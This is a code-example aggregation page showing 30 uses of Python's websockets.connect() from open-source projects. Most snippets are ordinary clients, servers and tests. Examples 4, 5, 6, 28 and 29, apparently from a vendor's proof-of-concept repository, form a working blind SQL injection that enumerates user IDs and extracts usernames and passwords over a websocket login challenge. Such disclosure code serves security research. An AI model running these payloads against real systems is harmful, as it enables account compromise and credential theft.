Python websockets.connect() Examples

The following are 30 code examples of websockets.connect(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module websockets , or try the search function .
Example #1
Source Project: hwk-mirror   Author: BnetButter   File: interface.py    License: GNU General Public License v3.0 7 votes vote down vote up
def server_handler(self, ws, *args, **kwargs):
        async for message in ws:
            client_id, request, data = self.client_message(message)

            if request == "echo":
                await ws.send(json.dumps({"result":message}))
    
            elif request == "connect":
                self.clients[client_id] = await self.on_connect(ws, client_id)
                self.connected_clients = [client_id for client_id in self.clients]
    
            elif request == "disconnect":
                await self.on_disconnect(ws, client_id)
                self.connected_clients = [client_id for client_id in self.clients]
            else:
                await self.respond(ws, client_id, request, data) 
Example #2
Source Project: tributary   Author: timkpaine   File: ws.py    License: Apache License 2.0 6 votes vote down vote up
def __init__(self, url, json=False, wrap=False):
        async def _listen(url=url, json=json, wrap=wrap):
            async with websockets.connect(url) as websocket:
                async for x in websocket:
                    if isinstance(x, StreamNone):
                        continue
                    elif not x or isinstance(x, StreamEnd):
                        break

                    if json:
                        x = JSON.loads(x)
                    if wrap:
                        x = [x]
                    yield x

        super().__init__(foo=_listen)
        self._name = 'WebSocket' 
Example #3
Source Project: a2ml   Author: augerai   File: remote_runner.py    License: Apache License 2.0 6 votes vote down vote up
def connect_and_get_result(self, request_id, local_file):
        last_msg_id = '0'
        try:
            endpoint = self.ws_endpoint + "/ws?id=" + request_id + '&last_msg_id=' + str(last_msg_id)
            async with websockets.connect(endpoint) as websocket:
                while True:
                    data = await websocket.recv()
                    data = json.loads(data)

                    if '_msg_id' in data:
                        last_msg_id = data['_msg_id']

                    self.handle_weboscket_respone(data, local_file)

                    if self.get_response_data_type(data) == 'result':
                        return data
        except Exception as e:
            self.show_output(e)
            await asyncio.sleep(2)
            return {} 
Example #4
Source Project: poc   Author: tenable   File: dump_http_user_creds.py    License: BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def guess_user_ids(uri, ssl_context):
    user_id = 0
    id_list = []
    while user_id < 1000:
        async with websockets.connect(uri, ssl=ssl_context) as websocket:
            print('[+] Scanning for valid user ids: ' + str(user_id), end='\r')
            login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(user_id)+'--"}}'
            await websocket.send(login)
            response = await websocket.recv()
            inject_result = json.loads(response)
            if (inject_result['message']['status'] == 0):
                id_list.append(user_id)
            user_id += 1

    print('\n[+] Found ' + str(len(id_list)) + ' accounts.')
    return id_list

# Given a user ID figure out how long the username is 
Example #5
Source Project: poc   Author: tenable   File: dump_http_user_creds.py    License: BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def guess_username_length(uri, ssl_context, uid):
    length = 1
    while length < 100:
        print('[+] Guessing user id ' + str(uid) + '\'s username length: ' + str(length), end='\r')
        async with websockets.connect(uri, ssl=ssl_context) as websocket:
            login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(uid)+' AND LENGTH(user_name)=' + str(length) + '--"}}'
            await websocket.send(login)
            response = await websocket.recv()
            inject_result = json.loads(response)
            if (inject_result['message']['status'] == 0):
                print('')
                break
            else:
                length = length + 1
                if (length == 100):
                    print('\n[-] Failed to guess the user\'s username length.')
                    sys.exit(0)
    return length

# Guess the user's username. Limited to length bytes. Could optimize out length
# using an additional lookup after each successful match. 
Example #6
Source Project: poc   Author: tenable   File: dump_http_user_creds.py    License: BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def guess_password_length(uri, ssl_context, uid, username):
    length = 0
    while length < 100:
        print('[+] Guessing user id ' + str(uid) + '\'s password length: ' + str(length), end='\r')
        async with websockets.connect(uri, ssl=ssl_context) as websocket:
            login = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"' + username + '\' AND LENGTH(user_password)==' + str(length) + '--"}}'
            await websocket.send(login)
            response = await websocket.recv()
            inject_result = json.loads(response)
            if (inject_result['message']['status'] == 0):
                break
            else:
                length = length + 1
                # if we hit max password length than we've done something wrong
                if (length == 100):
                    print('[+] Couldn\'t determine the passwords length.')
                    sys.exit(1)

    print('')
    return length

# Guess the user's password. Limited to length bytes. Could optimize out length
# using an additional lookup after each successful match. 
Example #7
Source Project: PySyft   Author: OpenMined   File: websocket_client.py    License: Apache License 2.0 6 votes vote down vote up
def async_send_msg(self, message: Message) -> object:
        """Asynchronous version of send_msg."""
        if self.verbose:
            print("async_send_msg", message)

        async with websockets.connect(
            self.url, timeout=self.timeout, max_size=None, ping_timeout=self.timeout
        ) as websocket:
            # Step 1: serialize the message to a binary
            bin_message = sy.serde.serialize(message, worker=self)

            # Step 2: send the message
            await websocket.send(bin_message)

            # Step 3: wait for a response
            bin_response = await websocket.recv()

            # Step 4: deserialize the response
            response = sy.serde.deserialize(bin_response, worker=self)

        return response 
Example #8
Source Project: pylgtv   Author: TheRealLink   File: webos_client.py    License: MIT License 6 votes vote down vote up
def _register(self):
        """Register wrapper."""
        logger.debug('register on %s', "ws://{}:{}".format(self.ip, self.port));
        try:
            websocket = yield from websockets.connect(
                "ws://{}:{}".format(self.ip, self.port), timeout=self.timeout_connect)

        except:
            logger.error('register failed to connect to %s', "ws://{}:{}".format(self.ip, self.port));
            return False

        logger.debug('register websocket connected to %s', "ws://{}:{}".format(self.ip, self.port));

        try:
            yield from self._send_register_payload(websocket)

        finally:
            logger.debug('close register connection to %s', "ws://{}:{}".format(self.ip, self.port));
            yield from websocket.close() 
Example #9
Source Project: saltyrtc-server-python   Author: saltyrtc   File: conftest.py    License: MIT License 6 votes vote down vote up
def ws_client_factory(initiator_key, event_loop, client_kwargs, server):
    """
    Return a simplified :class:`websockets.client.connect` wrapper
    where no parameters are required.
    """
    # Note: The `server` argument is only required to fire up the server.
    server_ = server

    # Create SSL context
    ssl_context = ssl.create_default_context(
        ssl.Purpose.SERVER_AUTH, cafile=pytest.saltyrtc.cert)
    ssl_context.load_dh_params(pytest.saltyrtc.dh_params)

    def _ws_client_factory(server=None, path=None, **kwargs):
        if server is None:
            server = server_
        if path is None:
            path = '{}/{}'.format(url(*server.address), key_path(initiator_key))
        _kwargs = client_kwargs.copy()
        _kwargs.update(kwargs)
        return websockets.connect(path, ssl=ssl_context, **_kwargs)
    return _ws_client_factory 
Example #10
Source Project: python-libjuju   Author: juju   File: connection.py    License: Apache License 2.0 6 votes vote down vote up
def connect_params(self):
        """Return a tuple of parameters suitable for passing to
        Connection.connect that can be used to make a new connection
        to the same controller (and model if specified. The first
        element in the returned tuple holds the endpoint argument;
        the other holds a dict of the keyword args.
        """
        return {
            'endpoint': self.endpoint,
            'uuid': self.uuid,
            'username': self.username,
            'password': self.password,
            'cacert': self.cacert,
            'bakery_client': self.bakery_client,
            'loop': self.loop,
            'max_frame_size': self.max_frame_size,
        } 
Example #11
Source Project: alpaca-trade-api-python   Author: alpacahq   File: streamconn.py    License: Apache License 2.0 6 votes vote down vote up
def connect(self):
        await self._dispatch({'ev': 'status',
                              'status': 'connecting',
                              'message': 'Connecting to Polygon'})
        self._ws = await websockets.connect(self._endpoint)
        self._stream = self._recv()

        msg = await self._next()
        if msg.get('status') != 'connected':
            raise ValueError(
                ("Invalid response on Polygon websocket connection: {}"
                    .format(msg))
            )
        await self._dispatch(msg)
        if await self.authenticate():
            self._consume_task = asyncio.ensure_future(self._consume_msg())
        else:
            await self.close() 
Example #12
Source Project: alpaca-trade-api-python   Author: alpacahq   File: streamconn.py    License: Apache License 2.0 6 votes vote down vote up
def _ensure_ws(self):
        if self._ws is not None:
            return

        while self._retries <= self._retry:
            try:
                await self.connect()
                if self._streams:
                    await self.subscribe(self._streams)
                break
            except Exception as e:
                await self._dispatch({'ev': 'status',
                                      'status': 'connect failed',
                                      'message':
                                      f'Polygon Connection Failed ({e})'})
                self._ws = None
                self._retries += 1
                time.sleep(self._retry_wait * self._retry)
        else:
            raise ConnectionError("Max Retries Exceeded") 
Example #13
Source Project: pychess   Author: pychess   File: remotegame.py    License: GNU General Public License v3.0 6 votes vote down vote up
def download_game(self):
        # Check
        if self.id is None:
            return

        # Open a websocket to retrieve the game
        async def coro(self):
            result = None
            ws = await websockets.connect('wss://www.pychess.org/wsr', origin="https://www.pychess.org", ping_interval=None)
            try:
                await ws.send('{"type":"board","gameId":"%s"}' % self.id)
                for i in range(5):
                    data = await ws.recv()
                    data = self.json_loads(data)
                    if data['type'] == 'board' and data['gameId'] == self.id:
                        result = data['pgn'] if data['pgn'] != '' else None
                        break
            finally:
                await ws.close()
            self.data = result

        await coro(self)


# Generic 
Example #14
Source Project: chia-blockchain   Author: Chia-Network   File: client.py    License: Apache License 2.0 6 votes vote down vote up
def start(self):
        self.websocket = await websockets.connect(self._uri)

        async def listener():
            while True:
                message = await self.websocket.recv()
                decoded = json.loads(message)
                id = decoded["request_id"]

                if id in self._request_dict:
                    if id in self._request_dict:
                        self.response_dict[id] = decoded
                        self._request_dict[id].set()

        asyncio.create_task(listener())
        await asyncio.sleep(1) 
Example #15
Source Project: robotstreamer   Author: robotstreamer   File: controller.py    License: Apache License 2.0 6 votes vote down vote up
def startChat():
        time.sleep(10) #todo: only wait as needed (wait for interenet)
        print("restarting loop")
        time.sleep(0.25)

        while True:
                    print("CHAT: starting chat loop")
                    
                    try:
                                asyncio.new_event_loop().run_until_complete(handleChatMessages())
                    except:
                                print("CHAT: error")
                                traceback.print_exc()
                    print("CHAT: event handler died")
                    # sleep to stop hammering endpoint requests
                    time.sleep(2)

#async def hello(uri):
#       async with websockets.connect(uri) as websocket:
#                await websocket.send(json.dumps({"message":"message"}))
#                while True:
#                        print("recv")
#                        x = await websocket.recv()
#                        print(x) 
Example #16
Source Project: jsonrpcclient   Author: bcb   File: notification.py    License: MIT License 5 votes vote down vote up
def main():
    async with websockets.connect("ws://localhost:5000") as ws:
        response = await WebSocketsClient(ws).notify("ping")
    print(response.data.result) 
Example #17
Source Project: jsonrpcclient   Author: bcb   File: request.py    License: MIT License 5 votes vote down vote up
def main():
    async with websockets.connect("ws://localhost:5000") as ws:
        response = await WebSocketsClient(ws).request("ping")
    print(response.data.result) 
Example #18
Source Project: jsonrpcclient   Author: bcb   File: batch.py    License: MIT License 5 votes vote down vote up
def main():

    async with websockets.connect("ws://localhost:5000") as ws:
        requests = [Request("ping"), Notification("ping"), Request("ping")]
        response = await WebSocketsClient(ws).send(requests)

    for data in response.data:
        if data.ok:
            print("{}: {}".format(data.id, data.result))
        else:
            logging.error("%d: %s", data.id, data.message) 
Example #19
Source Project: sanic   Author: huge-success   File: testing.py    License: MIT License 5 votes vote down vote up
def _local_request(self, method, url, *args, **kwargs):
        logger.info(url)
        raw_cookies = kwargs.pop("raw_cookies", None)

        if method == "websocket":
            async with websockets.connect(url, *args, **kwargs) as websocket:
                websocket.opened = websocket.open
                return websocket
        else:
            async with self.get_new_session() as session:

                try:
                    response = await getattr(session, method.lower())(
                        url, *args, **kwargs
                    )
                except NameError:
                    raise Exception(response.status_code)

                response.body = await response.aread()
                response.status = response.status_code
                response.content_type = response.headers.get("content-type")

                # response can be decoded as json after response._content
                # is set by response.aread()
                try:
                    response.json = response.json()
                except (JSONDecodeError, UnicodeDecodeError):
                    response.json = None

                if raw_cookies:
                    response.raw_cookies = {}

                    for cookie in response.cookies.jar:
                        response.raw_cookies[cookie.name] = cookie

                return response 
Example #20
Source Project: discord.py   Author: Rapptz   File: gateway.py    License: MIT License 5 votes vote down vote up
def from_client(cls, client, *, shard_id=None, session=None, sequence=None, resume=False):
        """Creates a main websocket for Discord from a :class:`Client`.

        This is for internal use only.
        """
        gateway = await client.http.get_gateway()
        ws = await websockets.connect(gateway, loop=client.loop, klass=cls, compression=None)

        # dynamically add attributes needed
        ws.token = client.http.token
        ws._connection = client._connection
        ws._discord_parsers = client._connection.parsers
        ws._dispatch = client.dispatch
        ws.gateway = gateway
        ws.shard_id = shard_id
        ws.shard_count = client._connection.shard_count
        ws.session_id = session
        ws.sequence = sequence
        ws._max_heartbeat_timeout = client._connection.heartbeat_timeout

        client._connection._update_references(ws)

        log.debug('Created websocket connected to %s', gateway)

        # poll event for OP Hello
        await ws.poll_event()

        if not resume:
            await ws.identify()
            return ws

        await ws.resume()
        try:
            await ws.ensure_open()
        except websockets.exceptions.ConnectionClosed:
            # ws got closed so let's just do a regular IDENTIFY connect.
            log.warning('RESUME failed (the websocket decided to close) for Shard ID %s. Retrying.', shard_id)
            return await cls.from_client(client, shard_id=shard_id)
        else:
            return ws 
Example #21
Source Project: discord.py   Author: Rapptz   File: gateway.py    License: MIT License 5 votes vote down vote up
def from_client(cls, client, *, resume=False):
        """Creates a voice websocket for the :class:`VoiceClient`."""
        gateway = 'wss://' + client.endpoint + '/?v=4'
        ws = await websockets.connect(gateway, loop=client.loop, klass=cls, compression=None)
        ws.gateway = gateway
        ws._connection = client
        ws._max_heartbeat_timeout = 60.0
        ws.thread_id = threading.get_ident()

        if resume:
            await ws.resume()
        else:
            await ws.identify()

        return ws 
Example #22
Source Project: discord.py   Author: Rapptz   File: shard.py    License: MIT License 5 votes vote down vote up
def launch_shard(self, gateway, shard_id):
        try:
            coro = websockets.connect(gateway, loop=self.loop, klass=DiscordWebSocket, compression=None)
            ws = await asyncio.wait_for(coro, timeout=180.0)
        except Exception:
            log.info('Failed to connect for shard_id: %s. Retrying...', shard_id)
            await asyncio.sleep(5.0)
            return await self.launch_shard(gateway, shard_id)

        ws.token = self.http.token
        ws._connection = self._connection
        ws._discord_parsers = self._connection.parsers
        ws._dispatch = self.dispatch
        ws.gateway = gateway
        ws.shard_id = shard_id
        ws.shard_count = self.shard_count
        ws._max_heartbeat_timeout = self._connection.heartbeat_timeout

        try:
            # OP HELLO
            await asyncio.wait_for(ws.poll_event(), timeout=180.0)
            await asyncio.wait_for(ws.identify(), timeout=180.0)
        except asyncio.TimeoutError:
            log.info('Timed out when connecting for shard_id: %s. Retrying...', shard_id)
            await asyncio.sleep(5.0)
            return await self.launch_shard(gateway, shard_id)

        # keep reading the shard while others connect
        self.shards[shard_id] = ret = Shard(ws, self)
        ret.launch_pending_reads()
        await asyncio.sleep(5.0) 
Example #23
Source Project: discord.py   Author: Rapptz   File: shard.py    License: MIT License 5 votes vote down vote up
def _connect(self):
        await self.launch_shards()

        while True:
            pollers = [shard.get_future() for shard in self.shards.values()]
            done, _ = await asyncio.wait(pollers, return_when=asyncio.FIRST_COMPLETED)
            for f in done:
                # we wanna re-raise to the main Client.connect handler if applicable
                f.result() 
Example #24
Source Project: caldera   Author: mitre   File: event_svc.py    License: Apache License 2.0 5 votes vote down vote up
def fire_event(self, event, **callback_kwargs):
        uri = '{}/{}'.format(self.ws_uri, event)
        msg = json.dumps(callback_kwargs)
        async with websockets.connect(uri) as websocket:
            asyncio.get_event_loop().create_task(self.handle_exceptions(websocket.send(msg))) 
Example #25
Source Project: pyquarkchain   Author: QuarkChain   File: test_jsonrpc.py    License: MIT License 5 votes vote down vote up
def send_websocket_request(request, num_response=1, port=38590):
    responses = []

    async def __send_request(request, port):
        uri = "ws://0.0.0.0:" + str(port)
        async with websockets.connect(uri) as websocket:
            await websocket.send(request)
            while True:
                response = await websocket.recv()
                responses.append(response)
                if len(responses) == num_response:
                    return responses

    return call_async(__send_request(request, port)) 
Example #26
Source Project: pyquarkchain   Author: QuarkChain   File: test_jsonrpc.py    License: MIT License 5 votes vote down vote up
def get_websocket(port=38590):
    uri = "ws://0.0.0.0:" + str(port)
    return await websockets.connect(uri) 
Example #27
Source Project: gabriel   Author: cmusatyalab   File: websocket_client.py    License: Apache License 2.0 5 votes vote down vote up
def launch(self):
        event_loop = asyncio.get_event_loop()

        # TODO remove this line once we stop supporting Python 3.5
        asyncio.set_event_loop(event_loop)

        try:
            self._websocket = event_loop.run_until_complete(
                websockets.connect(self._uri))
        except ConnectionRefusedError:
            logger.error('Could not connect to server')
            return

        consumer_task = asyncio.ensure_future(self._consumer_handler())
        tasks = [
            asyncio.ensure_future(self._producer_handler(
                producer_wrapper.producer, producer_wrapper.source_name))
            for producer_wrapper in self.producer_wrappers
        ]
        tasks.append(consumer_task)

        _, pending = event_loop.run_until_complete(asyncio.wait(
                tasks, return_when=asyncio.FIRST_COMPLETED))
        for task in pending:
            task.cancel()
        logger.info('Disconnected From Server') 
Example #28
Source Project: poc   Author: tenable   File: dump_http_user_creds.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def guess_username(uri, ssl_context, uid, length):
    username = ''
    while len(username) < length:
        value = 0x30
        while value < 0x7e:
            if value == 0x5c:
                value += 1
                continue
            
            temp_user = username + chr(value)
            temp_user_len = len(temp_user)

            print('[+] Guessing user id ' + str(uid) + '\'s username: ' + temp_user, end='\r')
            async with websockets.connect(uri, ssl=ssl_context) as websocket:
                challenge = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"\' OR user_id='+str(uid)+' AND substr(user_name,1,' + str(temp_user_len) + ") = '" + temp_user + "'--" + '"}}'
                await websocket.send(challenge)
                response = await websocket.recv()
                inject_result = json.loads(response)
                if (inject_result['message']['status'] == 0):
                    username = temp_user
                    break
                else:
                    value += 1

        if value == 0x80:
            print('')
            print('[-] Failed to determine the password.')
            sys.exit(1)

    print('')
    return username

# Given a username figure out how long the password is 
Example #29
Source Project: poc   Author: tenable   File: dump_http_user_creds.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def guess_password(uri, ssl_context, uid, username, length):
    # Now that we know the password length, just guess each password byte until
    # we've reached the full length. Again timeout set to 10 seconds.
    password = ''
    while len(password) < length:
        value = 0x20
        while value < 0x80:

            print('[+] Guessing user id ' + str(uid) + '\'s password: ' + password + chr(value), end='\r')

            if value == 0x22 or value == 0x5c:
                temp_pass = password + '\\'
                temp_pass = temp_pass + chr(value)
            else:
                temp_pass = password + chr(value)
            
            temp_pass_len = len(temp_pass)

            async with websockets.connect(uri, ssl=ssl_context) as websocket:
                challenge = '{"type":"request","message":{"transactionid":"123456789zxa","version":"1.0","action":"challenge","username":"' + username + "' AND substr(user_password,1," + str(temp_pass_len) + ") = '" + temp_pass + "'--" + '"}}'
                await websocket.send(challenge)
                response = await websocket.recv()
                inject_result = json.loads(response)
                if (inject_result['message']['status'] == 0):
                    password = temp_pass
                    break
                else:
                    value = value + 1

        if value == 0x80:
            print('')
            print('[-] Failed to determine the password.')
            sys.exit(1)

    return password

##
# Using an SQL injection in the challenge generation portion of the login that
# occurs over websocket, extract all of the usernames and passwords.
## 
Example #30
Source Project: PySyft   Author: OpenMined   File: websocket_client.py    License: Apache License 2.0 5 votes vote down vote up
def __init__(
        self,
        hook,
        host: str,
        port: int,
        secure: bool = False,
        id: Union[int, str] = 0,
        is_client_worker: bool = False,
        log_msgs: bool = False,
        verbose: bool = False,
        data: List[Union[torch.Tensor, AbstractTensor]] = None,
        timeout: int = None,
    ):
        """A client which will forward all messages to a remote worker running a
        WebsocketServerWorker and receive all responses back from the server.
        """

        self.port = port
        self.host = host
        self.timeout = TIMEOUT_INTERVAL if timeout is None else timeout

        super().__init__(
            hook=hook,
            id=id,
            data=data,
            is_client_worker=is_client_worker,
            log_msgs=log_msgs,
            verbose=verbose,
        )

        # creates the connection with the server which gets held open until the
        # WebsocketClientWorker is garbage collected.
        # Secure flag adds a secure layer applying cryptography and authentication
        self.secure = secure
        self.ws = None
        self.connect()